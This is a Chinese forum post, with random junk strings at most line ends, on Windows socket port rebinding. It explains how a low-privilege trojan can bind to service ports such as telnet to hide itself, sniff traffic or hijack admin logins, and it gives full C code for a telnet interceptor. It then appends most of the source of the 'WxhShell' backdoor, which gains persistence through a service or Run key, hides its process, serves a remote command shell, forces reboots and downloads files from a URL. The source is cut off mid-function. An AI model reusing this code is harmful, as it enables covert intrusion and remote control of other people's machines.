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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +0^N#0)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0d9rJv}~  
WvAl!^{`  
  saddr.sin_family = AF_INET; 23U9+  
nx $?wxIm  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g5M-Vu  
|2 g }i\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Z@t).$  
U :J~O y_Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z,P:i$  
ZBJ.dK?Ky|  
  这意味着什么?意味着可以进行如下的攻击: j0kEi+!TVq  
P=KOw;bs  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L_<&oq  
7>9/bB+TL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $*G]6s  
4<ER dP7"-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .Uh-Wi[  
8:huWjh]M  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sog?Mvoq  
#v89`$#`2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S;Lqx5Cd  
fdck/|`t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xPq3Sfg`A  
''?.6r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #Ru+|KL  
%Kw5 b ;  
  #include ?N,a {#w  
  #include 2a (w7/W:  
  #include }]=b%CPJh+  
  #include    o-("S|A-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Lyt6DvAp"  
  int main() XFG]%y=/6  
  { \%mR*J+  
  WORD wVersionRequested; 2^[fUzL?  
  DWORD ret; O)\xElu  
  WSADATA wsaData; [LjYLm%<  
  BOOL val; v9x $`  
  SOCKADDR_IN saddr; n"@3d.21  
  SOCKADDR_IN scaddr; [B+ o4+K3  
  int err; G\*`EM4  
  SOCKET s; nD MNaMYb  
  SOCKET sc; JBeC\ \QX  
  int caddsize; f$*M;|c1c/  
  HANDLE mt; v$+G_@  
  DWORD tid;   p#^L ZX  
  wVersionRequested = MAKEWORD( 2, 2 ); qVZ=:D{  
  err = WSAStartup( wVersionRequested, &wsaData ); TN7kt]a2  
  if ( err != 0 ) { O<L /m[]  
  printf("error!WSAStartup failed!\n"); SKD!V6S  
  return -1; o7DDL{iR/  
  } e4khReF;  
  saddr.sin_family = AF_INET; rZKv:x}{6  
   No =f&GVg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 '?_I-="Mr  
AY [7yPP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t{F6+dp  
  saddr.sin_port = htons(23); L6r&Y~+/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J4!Z,-  
  { &EE6<-B-  
  printf("error!socket failed!\n"); unSF;S<  
  return -1; Q\m"n^XN  
  } 5NJ@mm{0  
  val = TRUE; E36<Wog  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 wW6?.}2zU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vkc(-n  
  { HR['y9 U  
  printf("error!setsockopt failed!\n"); " &p\pR~  
  return -1; i*.Z~$  
  } MCz +l0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8%arA"#S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \ 8ulX>]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 EpOVrk  
6;*tw i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @#*B|lHE  
  { R?Iv<(I  
  ret=GetLastError(); $v-lG(  
  printf("error!bind failed!\n"); &fiDmUxj  
  return -1; 4y>G6TD^  
  } '9$xOrv  
  listen(s,2); wUh'1D<(r  
  while(1) |Ro\2uSr  
  { cvn,&G -`  
  caddsize = sizeof(scaddr); |n01T_Z)P  
  //接受连接请求 je_77G(F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); nUd(@@%m  
  if(sc!=INVALID_SOCKET) l*B;/ >nR  
  { 'G@Npp)&^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); goRoi\z $  
  if(mt==NULL) r/:9j(yxr  
  { :d)@|SR1  
  printf("Thread Creat Failed!\n"); %+o]1R  
  break; ~qFi0<-M  
  } pC_2_,6$  
  } 5C#&vYnq  
  CloseHandle(mt); ]2h~Db=  
  } H# 2'\0u  
  closesocket(s); 6CY_8/:zL  
  WSACleanup(); "N7C7`izc  
  return 0; n; v8Vc'  
  }   J@!Sf7k42  
  DWORD WINAPI ClientThread(LPVOID lpParam) _ F@>?\B  
  { CDU^X$Q  
  SOCKET ss = (SOCKET)lpParam; Gx'mVC"{  
  SOCKET sc; 2=["jP!B  
  unsigned char buf[4096]; "W\ #d  
  SOCKADDR_IN saddr; &NHIX(b6  
  long num; D2>=^WP6+  
  DWORD val; "84.qgYaG  
  DWORD ret; OwSr`2'9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SV6Np?U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +qzsC/y  
  saddr.sin_family = AF_INET;  M"X/([G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "=P@x|I  
  saddr.sin_port = htons(23); N{|N_}X`Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dgX0\lKpf  
  { VdVca1Z  
  printf("error!socket failed!\n"); ^hY<avi6s  
  return -1; u'Mq^8  
  } +]5JXt^  
  val = 100; )Je iTh^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M ;\K+,  
  { s)~Q@ze2  
  ret = GetLastError(); _F,@mQ$!  
  return -1; "9>#Q3<N  
  } ~[k 2(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IF5+&O  
  { NBUM* Z  
  ret = GetLastError(); @B+  
  return -1; D$#=;H ,  
  } ~l{CUQU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1xT^ ,e6  
  { Rqvm%sAi  
  printf("error!socket connect failed!\n"); +c\fDVv  
  closesocket(sc); K<Iz5+oD  
  closesocket(ss); :rk]o*  
  return -1; q;>'jHh  
  } Fc 5g~T  
  while(1) uysGOyi<u  
  { crZ\:LeJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _W]3_1Lu  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mgH4)!Z*56  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Tvf]OJ9N  
  num = recv(ss,buf,4096,0); 6 `X#<#_&  
  if(num>0) ug UV`5w   
  send(sc,buf,num,0); TyGXDU  
  else if(num==0) LR-op?W  
  break; Q8z>0ci3o  
  num = recv(sc,buf,4096,0); mQo]k  
  if(num>0) H^'*F->BA  
  send(ss,buf,num,0); z@T;N'EM  
  else if(num==0) ")x9A&p  
  break; L7a+ #mGE  
  } H'Z[3e  
  closesocket(ss); jr~76  
  closesocket(sc); !C#q  
  return 0 ; 8h;1(S)*Z  
  } 8M(N   
0~an\4nh  
gt}/C4|  
========================================================== )Bd+jli|s  
QJOP*<O  
下边附上一个代码,,WXhSHELL G} }oeS  
>Pbd#*  
========================================================== (W*yF2r  
o7]h;Zg5r  
#include "stdafx.h" w;>]L.n  
U/0NN>V  
#include <stdio.h> "QGP]F  
#include <string.h> fv<($[0  
#include <windows.h> f8'&(-  
#include <winsock2.h> 9I^_n+E  
#include <winsvc.h> QJGRi  
#include <urlmon.h> _y5b>+  
%DzS~5$G  
#pragma comment (lib, "Ws2_32.lib") {_ewc/~  
#pragma comment (lib, "urlmon.lib") Q$V xm+  
eT:%i"C  
#define MAX_USER   100 // 最大客户端连接数 PJh\U1Z  
#define BUF_SOCK   200 // sock buffer s)xfTr_$  
#define KEY_BUFF   255 // 输入 buffer cZ^$!0  
+w GE  
#define REBOOT     0   // 重启 TtKBok  
#define SHUTDOWN   1   // 关机 vEn12s(lj  
 {l_R0  
#define DEF_PORT   5000 // 监听端口 So0YvhZ+  
r{6 ,;  
#define REG_LEN     16   // 注册表键长度 kpK: @  
#define SVC_LEN     80   // NT服务名长度 8oN4!#:  
AVyo)=&  
// 从dll定义API ROQk^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R1J"QU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f,`FbT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3cQTl5,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CaZEU(i  
C+-~Gmrb(7  
// wxhshell配置信息 H-7*)D  
struct WSCFG { 1sn!!  
  int ws_port;         // 监听端口 v_)cp9d]  
  char ws_passstr[REG_LEN]; // 口令 6mMJ$FY+  
  int ws_autoins;       // 安装标记, 1=yes 0=no &e3z)h  
  char ws_regname[REG_LEN]; // 注册表键名 oaRPYgh4  
  char ws_svcname[REG_LEN]; // 服务名 KJcdX9x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B'atwgI0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8=)A ksu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P#rwYPww\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q0DoR@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w?<:`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &AOw(?2  
P%B1dRa  
}; -[Zau$;J<  
I2K52A+  
// default Wxhshell configuration nV"[WngN  
struct WSCFG wscfg={DEF_PORT, _.Uz!2  
    "xuhuanlingzhe", n1buE1r?  
    1, R/<  /g=  
    "Wxhshell", r/3 !~??x  
    "Wxhshell", +apIp(E+  
            "WxhShell Service", %aL>n=$  
    "Wrsky Windows CmdShell Service", MeP U`M--  
    "Please Input Your Password: ", otX#}} +  
  1,  /=[M  
  "http://www.wrsky.com/wxhshell.exe", .' D+De&y  
  "Wxhshell.exe" --",}%-  
    }; nGX~G^mZ  
]WyV~Dzz<  
// 消息定义模块 b^hCm`2w*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rYN`u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k_O"bsI)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j(Q$frI  
char *msg_ws_ext="\n\rExit."; ?uQ|?rk  
char *msg_ws_end="\n\rQuit."; .$v]B xu  
char *msg_ws_boot="\n\rReboot..."; :Q$3P+6a  
char *msg_ws_poff="\n\rShutdown..."; ~LYKt0/W&  
char *msg_ws_down="\n\rSave to "; |(XV '-~  
fa5($jJ&  
char *msg_ws_err="\n\rErr!"; hO{@!H$l  
char *msg_ws_ok="\n\rOK!"; )@SIFE  
?_n.B=H`8  
char ExeFile[MAX_PATH]; JJ qX2B  
int nUser = 0; V! "^6)  
HANDLE handles[MAX_USER]; t'm]E2/  
int OsIsNt; G.B^C)guu  
$. V(_  
SERVICE_STATUS       serviceStatus; as o8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [ .dNX  
fp12-Hk ~  
// 函数声明 T']*h8  
int Install(void); NF&\<2kX  
int Uninstall(void); 2Ni{wg"  
int DownloadFile(char *sURL, SOCKET wsh); VFA1p)n  
int Boot(int flag); 0SvPyf%AC  
void HideProc(void); >2$Ehw:K^  
int GetOsVer(void); [HQ17  
int Wxhshell(SOCKET wsl); 9n8;eE08  
void TalkWithClient(void *cs); PMXnupt  
int CmdShell(SOCKET sock); {} vl^b  
int StartFromService(void); #c/v2  
int StartWxhshell(LPSTR lpCmdLine); \4zvknk<  
r]0o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *xL#1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r \=p.cw<  
y7,~7f!N2  
// 数据结构和表定义 >]C;sP  
SERVICE_TABLE_ENTRY DispatchTable[] = u$<FKp;I  
{ @@ ZcW<Y"  
{wscfg.ws_svcname, NTServiceMain}, :MJBbrV ,  
{NULL, NULL} / HaS.  
}; :p8JO:g9  
?7a< V+V:  
// 自我安装 C .YtjLQP$  
int Install(void) A=h`Z^8\B  
{ z^B!-FcIz>  
  char svExeFile[MAX_PATH]; +H ="5uO<  
  HKEY key; V!FzVl=G  
  strcpy(svExeFile,ExeFile); ]p0m6}B  
i1aS2gFi_  
// 如果是win9x系统,修改注册表设为自启动 }zLe;1Tx  
if(!OsIsNt) { hih`:y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GIZNHG   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /hI#6k8o_  
  RegCloseKey(key); _Q.3X[88C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kAy.o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8 LaZ5  
  RegCloseKey(key); O8dDoP\F2  
  return 0; I X\&lV  
    } ?>lmLz!e  
  } `I m;@_J  
} <;U"D.'  
else { cpE&Fba}"  
wQ [2yq  
// 如果是NT以上系统,安装为系统服务 !lu$WJ{M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z|wZyt$$  
if (schSCManager!=0) UbQeN  
{ WWE?U-o  
  SC_HANDLE schService = CreateService vO4 &ZQ>6  
  ( kO2im+y  
  schSCManager, n]8_]0{qi  
  wscfg.ws_svcname, R 8Iac[N  
  wscfg.ws_svcdisp, CqrmdWN  
  SERVICE_ALL_ACCESS, |h6 @hB\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Zjo9c{\  
  SERVICE_AUTO_START, Jw {:1  
  SERVICE_ERROR_NORMAL, @ZX{q~g!  
  svExeFile, VK`b'U &l"  
  NULL, 2ix_,yTO  
  NULL, Yq5}r?N  
  NULL, sV[|op  
  NULL, 1N#TL"lMS  
  NULL d5zzQ]|L  
  ); w_|WberU  
  if (schService!=0) iZ_R oJ  
  { 7 ic]q,  
  CloseServiceHandle(schService); 4 &t6  
  CloseServiceHandle(schSCManager); K90Zf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oMMU5sm  
  strcat(svExeFile,wscfg.ws_svcname); m41n5T`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ""WZpaw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }^LcKV  
  RegCloseKey(key); p=405~  
  return 0; WtlIrdc  
    } C<n.C*o  
  } Ho"FB|e  
  CloseServiceHandle(schSCManager); 9"V27"s  
} 8E0Rg/DnT  
} KE5f`h  
u $sX6  
return 1; 03rZz1  
} _0vXujz  
Hs-NP#I  
// 自我卸载 )n0g6  
int Uninstall(void) %8 4<@f&n]  
{ '`3-X];p  
  HKEY key; Ogjjjy84vM  
&"^A  
if(!OsIsNt) { t-E'foYfr`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gXH89n  
  RegDeleteValue(key,wscfg.ws_regname); DI$z yj~3  
  RegCloseKey(key); EkTen:{G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P, S9gG9  
  RegDeleteValue(key,wscfg.ws_regname); H_*]Vg  
  RegCloseKey(key); 7rhpIP2n  
  return 0; IndNR:"g  
  } EO| kiC   
} `_v-Y`Z  
} S?8q.59  
else { H!45w;,I  
~$Mp>ZB2W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0kCUz  
if (schSCManager!=0) ZFdQ Z=.'  
{ gV`:eNo*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xaeY^"L  
  if (schService!=0) I1}{7-_t  
  { \XB71DUF  
  if(DeleteService(schService)!=0) { FG8bP  
  CloseServiceHandle(schService); Bj]0Cz  
  CloseServiceHandle(schSCManager); ~ Q]B}qdm  
  return 0; M#|TQa N  
  } @pG\5Jnf  
  CloseServiceHandle(schService); \8t g7Sdq  
  } qC3 rHT]  
  CloseServiceHandle(schSCManager); z5{I3 Y!1  
} <o]tW4\(R  
} BtqJkdK!;1  
;V%lFP3#  
return 1; k| jC c  
} :+R ||q i  
:*oI"U*f  
// 从指定url下载文件 A: @=?(lI3  
int DownloadFile(char *sURL, SOCKET wsh) >?$Ze@  
{ @u$oqjK  
  HRESULT hr; <B`=oO%o  
char seps[]= "/"; n%?g+@y,^  
char *token; O~t5qnu/}  
char *file; 0{B5C[PTG  
char myURL[MAX_PATH]; L50`,,WF  
char myFILE[MAX_PATH]; n1cAI|ZE  
y'zEaL&SI@  
strcpy(myURL,sURL); atN`w=6A`  
  token=strtok(myURL,seps); Nq9(O#}  
  while(token!=NULL) N[42al  
  { -}N{'S,Bp  
    file=token; HV?awc  
  token=strtok(NULL,seps); 1DLQ Zq  
  } H$[--_dI{  
WrD20Q$9Q  
GetCurrentDirectory(MAX_PATH,myFILE); goHr# @  
strcat(myFILE, "\\"); Y.hrU*[J0  
strcat(myFILE, file); 6%yr>BFtVV  
  send(wsh,myFILE,strlen(myFILE),0); p 3_Q  
send(wsh,"...",3,0); n" MFC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }'Z(J)Bg  
  if(hr==S_OK) UPgZj\t%{  
return 0; G A7  
else VvltVYOZA  
return 1; r":<1+07  
TY88PXW  
} |Y])|`_'G  
i3Ffk+ |b  
// 系统电源模块 APLu?wy7s5  
int Boot(int flag) ->j9(76"  
{ -|3U0: 'm  
  HANDLE hToken; 10 p+e_@  
  TOKEN_PRIVILEGES tkp; |]I?^:I  
Ik}*7D  
  if(OsIsNt) { O=-|b kO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Mv9s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;pULJ}rDb  
    tkp.PrivilegeCount = 1; O}KT>84M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Xz5=fj&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VyI%^S ]sS  
if(flag==REBOOT) { P, Vq/Tt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j$L<9(DoR  
  return 0; xw=B4u'z  
} A2+t`[ w  
else { d?S<h`{x   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _QErQ^`  
  return 0; Sqb#U{E  
} Xajjzl\b  
  } >"Hj=?  
  else { ]Wy V bIu  
if(flag==REBOOT) { NuP@eeF>,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y'+^ ME$H  
  return 0; jf%Ydr}`  
} k5ZwGJ#r  
else { 3^fZUldf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !~mN"+u&  
  return 0; F`ihw[ Wn  
} dyx 4_!fO  
} Q \{\u J x  
=T\pq8  
return 1; ^|x{E20  
} bqe;) A7  
lLg23k{'  
// win9x进程隐藏模块 A2vOI8  
void HideProc(void) d>aZpJ[.  
{ v\HGL56T  
a1}W2;W0]g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z>D7C?v:(  
  if ( hKernel != NULL ) bh_ALu^CSX  
  { .Ftml'!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A] F K\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2dq{n.cgs  
    FreeLibrary(hKernel); d+IPa<N  
  } l s_i)X  
od|pI5St  
return; 5fLCmLM`  
} fe Q%L  
U}5uy9A  
// 获取操作系统版本 JZc5U}i  
int GetOsVer(void) kNjbpCE\!  
{ V~+Unn  
  OSVERSIONINFO winfo; kB8l`| I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2+^#<Uok  
  GetVersionEx(&winfo); C )P N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u_[Zu8  
  return 1; :J<S-d=  
  else \e=@h!p  
  return 0; LD6fi  
} U .rH,`  
bX9}G#+U  
// 客户端句柄模块 KcrF=cA  
int Wxhshell(SOCKET wsl) o/[NUQSI  
{ g =%W"v  
  SOCKET wsh; N2~z&y8.  
  struct sockaddr_in client; *i\7dJ Dj  
  DWORD myID; uUJ2d84tV  
Yw{](qG7e`  
  while(nUser<MAX_USER) w5[POo' 5  
{ w?/,LV  
  int nSize=sizeof(client);  r>G$u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %_ z]iz4  
  if(wsh==INVALID_SOCKET) return 1; te:VYP  
i@p?.%K{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I#mT#xs6  
if(handles[nUser]==0) #F9$"L1Hg  
  closesocket(wsh); @-7K~in?^  
else 1X{A}9nA  
  nUser++; "RG.vo7b  
  } &{ f5F7E@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [mwfgh&4%  
p1&d@PF&&  
  return 0; "~Eo=R0O  
} |[: `izW  
}8FP5Z'Cf%  
// 关闭 socket xCQ<G{;C  
void CloseIt(SOCKET wsh) ?ph"|LyL  
{ MKH7d/x  
closesocket(wsh); '1mygplW  
nUser--; &?9.Y,  
ExitThread(0); @9L%`=]b^  
} WL7:22nSHa  
Jne)?Gt  
// 客户端请求句柄 p*N+B o  
void TalkWithClient(void *cs) !^N/n5eoz  
{ !#X^nlc  
6^wiEnA  
  SOCKET wsh=(SOCKET)cs; C :e 'wmA  
  char pwd[SVC_LEN]; 2z-&Ya Qu  
  char cmd[KEY_BUFF]; Ii K&v<(]  
char chr[1]; ;;U2I5 M7  
int i,j; 2AlLcfAW  
cAL&>T  
  while (nUser < MAX_USER) { m\VJ=  
M'g4alS  
if(wscfg.ws_passstr) {  (0k0gq;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'LX=yL]I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [2 Rp.?  
  //ZeroMemory(pwd,KEY_BUFF); crmnh4-  
      i=0; S^n:O  
  while(i<SVC_LEN) { wF&\@H  
!.F\v .  
  // 设置超时 Pq`4Y K  
  fd_set FdRead; GRs;-Jt  
  struct timeval TimeOut; l"vT@ g|  
  FD_ZERO(&FdRead); foN;Q1?lS  
  FD_SET(wsh,&FdRead); 't>Qj7vh0  
  TimeOut.tv_sec=8; iCc \p2p  
  TimeOut.tv_usec=0; *JDc1$H0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2/bck)p=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L72GF5+!!  
kQ:2@SOm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AUN Tc3  
  pwd=chr[0]; F:H76O`8  
  if(chr[0]==0xd || chr[0]==0xa) { cJty4m-  
  pwd=0; 0~-+5V  
  break; a'A0CQ  
  } 6)?TWr'Ke  
  i++; 8pk5[=3Z  
    } U?}Maf  
+wio:==  
  // 如果是非法用户,关闭 socket ?Z.YJXoKZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JlH|=nIaj6  
} XM)|v |  
,CvU#ab8$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5Q^~Z},  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q647a}  
}x8fXdd  
while(1) { PzF)Vg  
[Z[)hUXE?  
  ZeroMemory(cmd,KEY_BUFF); >,9t<p=Q  
5G2u(hx  
      // 自动支持客户端 telnet标准   q`{.2yV  
  j=0; UjfB+=7I{L  
  while(j<KEY_BUFF) { O/5W-u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mki=.l$O  
  cmd[j]=chr[0]; Kp99y  
  if(chr[0]==0xa || chr[0]==0xd) { 9R E;50h  
  cmd[j]=0; ?e ~*,6  
  break; O35f5Kz  
  } lmd0Q(I  
  j++;  d,H%  
    } \myc n/e  
4@VX%5uy  
  // 下载文件 kz??""G7/  
  if(strstr(cmd,"http://")) { n%O`K{86  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^X?[zc GE  
  if(DownloadFile(cmd,wsh)) ;Joo!CXHO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .K0BK)axO  
  else (z.Vwl5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2ru6 bIb;  
  } \2LCpN  
  else { i?R qv<n  
sO*6F`eiZ  
    switch(cmd[0]) { HY42G#^  
  @<AIPla  
  // 帮助 '|+_~ZO*d  
  case '?': { EXzY4D ^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j^k{~]+_^]  
    break; LQS*/s0  
  } NN$`n*;l  
  // 安装  &wj Ob  
  case 'i': { K}zw%!ex  
    if(Install()) jXdn4m/O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U]P;X~$!  
    else *[jaI-~S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m]%cNxS  
    break; m1cyCD  
    } nQgn^z#  
  // 卸载 D +oo5  
  case 'r': { EuAa  
    if(Uninstall()) g5?Fo%W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %GIla *  
    else N Lo>"<Xb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z,2uN!6  
    break; (thzW r6;  
    } `?>OY&(  
  // 显示 wxhshell 所在路径 hIw*dob  
  case 'p': { BU)4g[4  
    char svExeFile[MAX_PATH]; HgMDw/D(  
    strcpy(svExeFile,"\n\r"); VP"L _Um  
      strcat(svExeFile,ExeFile); 7j]@3D9[:p  
        send(wsh,svExeFile,strlen(svExeFile),0); {k)MC)%  
    break; cEN^H  
    } Z]6D0b  
  // 重启 oDRNM^gz  
  case 'b': { z C``G<TB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~jPe9  
    if(Boot(REBOOT)) =*'` \}];"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M\GS&K$lq  
    else { $pD^O!I)?  
    closesocket(wsh); H@6  
    ExitThread(0); eD/?$@y  
    } EEaFi 8  
    break; |GsLcUv6  
    } Qejzp/2  
  // 关机 yZ2,AR%  
  case 'd': { MdPwuXI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g,1\Gj%y  
    if(Boot(SHUTDOWN)) RS93_F8   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LPXwfEHOm  
    else { h?SUDk:2^  
